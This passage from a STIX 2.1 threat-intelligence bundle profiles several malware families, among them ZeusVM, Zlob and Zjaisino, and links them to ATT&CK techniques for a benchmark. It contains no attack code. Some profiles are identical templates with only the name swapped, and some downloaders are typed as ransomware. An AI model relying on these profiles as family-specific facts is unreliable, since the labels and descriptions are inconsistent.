      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zesibund exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da1608ce-72c8-5ca5-94f7-50761f934c87",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19d36b5b-2801-5d20-b71a-1211bd3fddab",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zesibund exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--aa5baa99-dd37-521a-822f-d37e4372a286",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zeusvm",
      "description": "Trojan-Banker:Win32/ZeusVM (also widely tracked in underground forums as KINS) is a highly sophisticated banking trojan variant derived from the leaked Zeus 2.0.8.9 source code that emerged in mid-2013. Designed to bypass cutting-edge behavioral antivirus heuristics, ZeusVM introduced two groundbreaking technical innovations: a custom virtual-machine-based x86 bytecode interpreter and digital steganography for configuration delivery. The malware encrypts its dynamic banking webinject rules and target bank URLs and embeds them within innocent-looking standard JPEG images hosted on compromised legitimate websites or free image hosting services. When executed, ZeusVM's proprietary virtual machine decrypts and executes the steganographic payload, injecting malicious hooks into Internet Explorer, Mozilla Firefox, and Google Chrome web sessions to perform real-time Man-in-the-Browser (MitB) fund transfers and bypass two-factor authentication (2FA). ZeusVM targeted hundreds of financial institutions across Europe, the United States, and Japan before international law enforcement sinkholing and banking browser defenses curtailed its operations. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "ZeusVM",
        "Zbot.VM",
        "Trojan.ZeusVM",
        "Win32/ZeusVM",
        "KINS",
        "Trojan-Banker.Win32.ZeusVM"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zeusvm",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zeusvm"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b3dfc1ac-9e54-5f2a-a86a-f0882103df17",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa5baa99-dd37-521a-822f-d37e4372a286",
      "target_ref": "attack-pattern--4481688a-8575-5616-a5d0-9b36b9db0d8f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zeusvm exhibits technique T1027.003 (Steganography)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--314fcb9c-6aad-53ce-9f51-7d5683127993",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa5baa99-dd37-521a-822f-d37e4372a286",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zeusvm exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bd55b832-5d11-58e0-8420-d3e8d6d79eba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa5baa99-dd37-521a-822f-d37e4372a286",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zeusvm exhibits technique T1055.001 (Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa901533-a7ba-5b87-bb16-f96ba7b631f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa5baa99-dd37-521a-822f-d37e4372a286",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zeusvm exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e6154b6-7f00-5934-9083-3ccbcf27c242",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa5baa99-dd37-521a-822f-d37e4372a286",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zeusvm exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b3925294-f210-5df0-815f-a86efba488db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa5baa99-dd37-521a-822f-d37e4372a286",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zeusvm exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--46217d35-057d-50d8-9c46-d25661d24892",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zilix",
      "description": "<h3>Executive Summary</h3>\nZilix is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nZilix is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Zilix operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Zilix ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Zilix receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Zilix infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Zilix executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Zilix frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Zilix",
        "Downloader.Zilix",
        "Win32/Zilix"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zilix",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zilix"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cce4fd68-8203-52a6-ae3f-73e8c3710020",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46217d35-057d-50d8-9c46-d25661d24892",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zilix exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7feabfe3-3d5e-57f1-8424-fda23c4e0b25",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46217d35-057d-50d8-9c46-d25661d24892",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zilix exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99b65c98-2731-5e78-a699-564cff2702a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46217d35-057d-50d8-9c46-d25661d24892",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zilix exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--79f66bf5-cba5-5c42-ba20-415b15f44ae2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zippyloader",
      "description": "Zippyloader (cataloged across security vendors and threat intelligence databases under signatures including TrojanDownloader:Win32/Zippyloader, Trojan:Win32/Zippyloader, and Dropper.Zippyloader) is a stealthy Windows trojan downloader and payload delivery framework active since 2017. Infiltrating endpoints primarily through deceptive freeware installers, weaponized email attachments, and cracked utilities, Zippyloader acts as an initial access broker tool. Upon execution, the malware profiles the target host, establishes persistence through Windows Registry Run keys, and drops randomized staging executables into user temporary directories. Zippyloader initiates encrypted HTTP communications with remote command-and-control servers to download and execute secondary high-severity payloads such as banking trojans, information stealers, and ransomware. (Observed samples in benchmark: 40)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDownloader:Win32/Zippyloader",
        "Trojan:Win32/Zippyloader",
        "Dropper.Zippyloader",
        "Win32/Zippyloader",
        "TrojanDownloader:Win32/Zippyloader.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zippyloader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zippyloader"
        }
      ],
      "labels": [
        "trojan_downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--04eb9a5b-a40d-5d1b-a96c-7a540b3d19d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zjaisino",
      "description": "Trojan:Win32/Zjaisino is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Zjaisino</b><br>To an end-user, a Zjaisino infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Zjaisino is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Zjaisino is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Zjaisino frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Zjaisino reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zjaisino",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zjaisino"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8386fa84-06d7-56c9-84e6-4979b1b2c1f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04eb9a5b-a40d-5d1b-a96c-7a540b3d19d3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zjaisino exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6aea0395-9395-5248-b234-d3ba534e4db2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04eb9a5b-a40d-5d1b-a96c-7a540b3d19d3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zjaisino exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c1947725-919e-5f98-911e-acbd3d8f2e5f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04eb9a5b-a40d-5d1b-a96c-7a540b3d19d3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zjaisino exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3555ccaf-26b3-5f77-ab06-db01a7eeb5bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04eb9a5b-a40d-5d1b-a96c-7a540b3d19d3",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zjaisino exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00e55e3f-224b-5801-883b-d6212bac9d13",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04eb9a5b-a40d-5d1b-a96c-7a540b3d19d3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zjaisino exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a07bb302-5f35-5c39-965b-c1a6a8ee6e2b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zjek",
      "description": "<h3>Executive Summary</h3>\nZjek is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nZjek is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Zjek operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Zjek ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Zjek receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Zjek infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Zjek executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Zjek frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Zjek",
        "Downloader.Zjek",
        "Win32/Zjek"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zjek",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zjek"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2cdae5c-6a46-50f5-ac11-31cba0eb5dbc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a07bb302-5f35-5c39-965b-c1a6a8ee6e2b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zjek exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--553f3a15-cca5-5ade-a028-dd4307252e9e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a07bb302-5f35-5c39-965b-c1a6a8ee6e2b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zjek exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--946f397f-e457-5bb9-89e7-c5189f9093ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a07bb302-5f35-5c39-965b-c1a6a8ee6e2b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zjek exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9b1a9620-6c00-57c9-85ec-0c53c16daa52",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zlob",
      "description": "Zlob (historically one of the most prolific malware families in cybersecurity history, classified across antivirus engines as Trojan:Win32/Zlob, Trojan.Zlob, and Trojan-Downloader.Win32.Zlob) was a massive global trojan ecosystem active from 2005 onwards that infected tens of millions of computers worldwide. Disguised as a required video codec (such as ActiveX Video Codec or VideoLAN plug-in) needed to view online media, Zlob tricks victims into manual installation. Upon execution, Zlob modifies Windows DNS server settings under HKLM\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces, redirecting all DNS queries to rogue attacker-controlled DNS servers (DNSChanger). This allows threat actors to hijack web traffic, display fake security alerts, redirect searches to rogue antivirus scareware landing pages, and inject pay-per-click advertisements into browsing sessions. (Observed samples in benchmark: 15)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Zlob",
        "Trojan.Zlob",
        "Win32/Zlob.Trojan",
        "DNSChanger.Zlob",
        "Trojan-Downloader.Win32.Zlob",
        "Zlob Video Codec"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zlob",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zlob"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7db1224-7902-5e2e-8b64-27c8f97ccc85",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b1a9620-6c00-57c9-85ec-0c53c16daa52",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zlob exhibits technique T1204.002 (User Execution: Malicious File (Fake Codec))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64c2e895-e343-537c-858a-85a7d12ebba4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b1a9620-6c00-57c9-85ec-0c53c16daa52",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zlob exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--251e6198-2287-5ced-ae65-a19527b7b534",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b1a9620-6c00-57c9-85ec-0c53c16daa52",
      "target_ref": "attack-pattern--fddb1dde-b707-58d9-9234-0e950f6512cb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zlob exhibits technique T1547 (Boot or Logon Autostart Execution (Winlogon/BHO))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f34e9943-f01c-52e2-bafd-dc155acff314",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b1a9620-6c00-57c9-85ec-0c53c16daa52",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zlob exhibits technique T1491 (Defacement (UI Manipulation via Scareware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1838fe86-597a-5db5-88ea-cd007e7a0848",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b1a9620-6c00-57c9-85ec-0c53c16daa52",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zlob exhibits technique T1562.001 (Impair Defenses (DNS Hijacking))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c3c0db4e-0d97-5316-b08d-60f929cc6fc7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zloyfly",
      "description": "Trojan:Win32/Zloyfly is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Zloyfly</b><br>To an end-user, a Zloyfly infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Zloyfly is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Zloyfly is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Zloyfly frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Zloyfly reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zloyfly",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zloyfly"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8fb9db43-4021-5f78-82d1-1d806155d01b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3c0db4e-0d97-5316-b08d-60f929cc6fc7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zloyfly exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--69f16447-a5ef-5113-b943-9d5e7ce04aa6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3c0db4e-0d97-5316-b08d-60f929cc6fc7",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zloyfly exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6469981b-6445-5aff-b39b-6fe228209a82",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3c0db4e-0d97-5316-b08d-60f929cc6fc7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zloyfly exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b214c02d-60ce-5ac3-b654-de261b081cef",
      "created": "2026-01-01T00:00:00.000Z",
